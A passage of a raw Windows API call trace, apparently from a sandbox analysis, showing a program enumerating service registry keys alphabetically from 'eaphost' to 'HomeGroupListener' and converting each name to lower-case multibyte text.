dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0227.167] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0227.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0227.168] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0227.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0227.168] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0227.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0227.168] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0227.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0227.168] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0227.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0227.168] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0227.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0227.168] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0227.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0227.169] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0227.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0227.169] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0227.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0227.169] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0227.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0227.169] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0227.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0227.169] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0227.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0227.169] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0227.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0227.170] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0227.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0227.170] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0227.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0227.170] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0227.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0227.170] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0227.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0227.170] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0227.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0227.170] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0227.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0227.171] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0227.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f1ad8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0227.171] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0227.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0227.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x21f1d18, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0227.171] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0227.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f1ad8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0227.171] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0227.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0227.171] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0227.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0227.172] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0227.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0227.172] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0227.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0227.172] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0227.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0227.172] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0227.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0227.172] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0227.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0227.172] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0227.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0227.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f1ad8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0227.173] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0227.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0227.173] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0227.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0227.173] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0227.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0227.173] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0227.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0227.173] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0227.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0227.173] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0227.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0227.174] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0227.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0227.174] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0227.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0227.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0227.174] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: 